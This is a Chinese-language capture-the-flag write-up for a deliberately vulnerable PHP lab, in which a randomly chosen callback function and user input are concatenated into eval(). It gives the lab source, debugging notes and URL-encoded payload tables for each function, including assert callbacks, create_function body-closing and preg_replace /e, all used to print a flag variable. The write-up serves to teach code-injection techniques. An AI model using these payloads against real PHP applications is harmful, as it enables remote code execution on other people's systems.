PHP回调函数

PHP回调函数RCE靶场 WriteUp

php 复制代码
<?php 
include ("get_flag.php");
global $flag;

session_start(); // 开启 session
function hello_ctf($function, $content){
    global $flag;
    $code = $function . "(" . $content . ");";
    echo "Your Code: $code <br>";
    eval($code);
}

function get_fun(){

    $func_list = ['eval','assert','call_user_func','create_function','array_map','call_user_func_array','usort','array_filter','array_reduce','preg_replace'];

    if (!isset($_SESSION['random_func'])) {
        $_SESSION['random_func'] = $func_list[array_rand($func_list)];
    }
    
    $random_func = $_SESSION['random_func'];

    $url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);
    
    echo "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";

    return $_SESSION['random_func'];
}

function start($act){

    $random_func = get_fun();
    
    if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 ------ 或者你可以自己想办法可控它x */
        session_unset();
        session_destroy(); 
    }
    if ($act == "submit"){
        $user_content = $_POST['content']; 
        hello_ctf($random_func, $user_content);
    }
}

isset($_GET['action']) ? start($_GET['action']) : '';
highlight_file(__FILE__);
?>

一、 题目分析

题目核心代码如下:

php 复制代码
function hello_ctf($function, $content){
    global $flag;
    $code = $function . "(" . $content . ");";
    echo "Your Code: $code <br>";
    eval($code);
}

代码逻辑:

系统从列表中随机抽取一个PHP函数赋给 $function,用户通过 POST 提交 content 参数,两者拼接后进入 eval() 执行。例如:函数是 array_filter,用户输入 X,最终执行的就是 array_filter(X);

目标: 构造合适的 content,让拼接后的代码能读取全局变量 $flag


二、 踩坑记录与核心思路转变(重要!)

在最初尝试时,针对回调函数(如 array_filter),我使用了 assert 作为回调来执行代码:

http 复制代码
content=['echo $flag'], 'assert'

报错:

Fatal error: Uncaught ArgumentCountError: array_filter() expects at most 2 arguments, 3 given

原因分析:

  1. PHP版本问题 :PHP 7.2 及以上版本,assert() 不再作为普通的可回调函数使用,将其作为字符串传入 call_user_func 或数组回调中会导致解析异常或参数错位。
  2. 变量解析问题$flag 被解析为具体的字符串后,如果内部包含单引号或特殊字符,会导致原本的字符串提前闭合,使得 PHP 误判为传入了多余的参数。

核心思路转变:

对于带有回调特性的函数(array_map, array_filter, usort 等),最稳定、最通用的方法不是让回调去"执行代码",而是让回调去"打印变量"

我们将 $flag 放入数组中,回调函数使用 var_dumpprint_r。系统执行时,会自动将数组中的 $flag 取出传给 var_dump,从而直接输出 flag,完美避开 assert 的兼容性问题!


三、 抓包改包操作流程

  1. 访问首页,记录页面提示的随机函数名Cookie (PHPSESSID)
  2. 使用 Burp Suite / Hackbar 构造 POST 请求,URL 加上 ?action=submit
  3. 必须带上 Cookie,否则 Session 丢失,服务器会重新随机函数导致 Payload 失效。
  4. 在 Body 中传入对应的 content(注意:抓包改包时特殊字符需进行 URL 编码)。

四、 全函数 Payload 字典(抓包专用)

以下 Payload 均已解决引号闭合和参数数量问题,分为直接代码执行型回调变量输出型 。推荐优先使用 var_dump 方法,通杀所有 PHP 版本。

1. eval / assert (直接执行型)

需用单引号包裹代码,拼接后为 eval('echo $flag');

函数 content 明文 抓包 Body (URL编码)
eval 'echo $flag' content='echo%20%24flag'
assert 'echo $flag' content='echo%20%24flag'

2. 回调执行代码型(仅适用于 PHP < 7.2)

通过回调 assert 执行代码。

函数 content 明文 抓包 Body (URL编码)
call_user_func 'assert', 'echo $flag' content='assert'%2C%20'echo%20%24flag'
call_user_func_array 'assert', ['echo $flag'] content='assert'%2C%20%5B'echo%20%24flag'%5D
array_map 'assert', ['echo $flag'] content='assert'%2C%20%5B'echo%20%24flag'%5D
array_filter ['echo $flag'], 'assert' content=%5B'echo%20%24flag'%5D%2C%20'assert'
usort ['echo $flag','echo $flag'], 'assert' content=%5B'echo%20%24flag'%2C'echo%20%24flag'%5D%2C%20'assert'
array_reduce [0], 'assert', 'echo $flag' content=%5B0%5D%2C%20'assert'%2C%20'echo%20%24flag'

3. 回调变量输出型(🌟 通杀推荐,适配 PHP 7.2+)

不执行代码,直接用 var_dump 打印 $flag 变量本身,无需引号包裹 $flag

函数 content 明文 抓包 Body (URL编码)
call_user_func 'var_dump', $flag content='var_dump'%2C%20%24flag
call_user_func_array 'var_dump', [$flag] content='var_dump'%2C%20%5B%24flag%5D
array_map 'var_dump', [$flag] content='var_dump'%2C%20%5B%24flag%5D
array_filter [$flag], 'var_dump' content=%5B%24flag%5D%2C%20'var_dump'
usort [$flag,1], 'var_dump' content=%5B%24flag%2C1%5D%2C%20'var_dump'
array_reduce [$flag], 'var_dump' content=%5B%24flag%5D%2C%20'var_dump'

4. 特殊构造型

函数 content 明文 抓包 Body (URL编码) 原理
create_function '', '}echo $flag;/*' content=''%2C%20'%7Decho%20%24flag%3B%2F*' 提前闭合函数体,注释掉多余的 }
preg_replace '/./e', 'echo $flag', '1' content='%2F.%2Fe'%2C%20'echo%20%24flag'%2C%20'1' 利用 /e 修饰符执行替换字符串(仅限 PHP < 7.0)

五、 总结

做 PHP 回调函数 RCE 题目时:

  1. 看清 PHP 版本 :高版本直接放弃 assert 回调。
  2. 思路要灵活 :不要死磕"执行代码",利用系统自带的输出函数(var_dump, print_r)作为回调去"打印变量"是更优雅、更稳定的解法。
  3. 注意抓包细节 :一定要带上 Session Cookie,且 Body 中的特殊字符(如空格、$[])必须 URL 编码,否则极易出现参数解析错误。
相关推荐
着迷不白2 小时前
七、Linux网络管理
服务器·网络·php
Jay-r2 小时前
智能合约开发中13种最常见漏洞及修复(精华版)
安全·web安全·区块链·智能合约·solidity
HackTwoHub2 小时前
关于文件上传漏洞深度绕过利用教程,突破命令执行限制
运维·安全·web安全·网络安全·系统安全·安全架构
一拳一个娘娘腔3 小时前
【开篇】揭开黑客的面纱:Web渗透测试全景指南与法律红线
web安全
隔窗听雨眠3 小时前
VMware迁移上云的十个关键关卡
开发语言·php·vmware
持敬chijing3 小时前
Web渗透之SQL注入-URL解码注入(URL Decode Injection)
sql·安全·web安全·网络安全·网络攻击模型·安全威胁分析
无涯大者3 小时前
php中redis的简单示例学习
redis·学习·php
爱和冰阔落3 小时前
Ollama 本地大模型部署实战:从安装到 RAG 知识库完整指南
开发语言·大模型·php·ollama
ylscode13 小时前
Anthropic Claude Oceanus意外泄露:Mythos系列AI红队测试遭遇API代理滥用危机
网络·人工智能·安全·web安全·安全威胁分析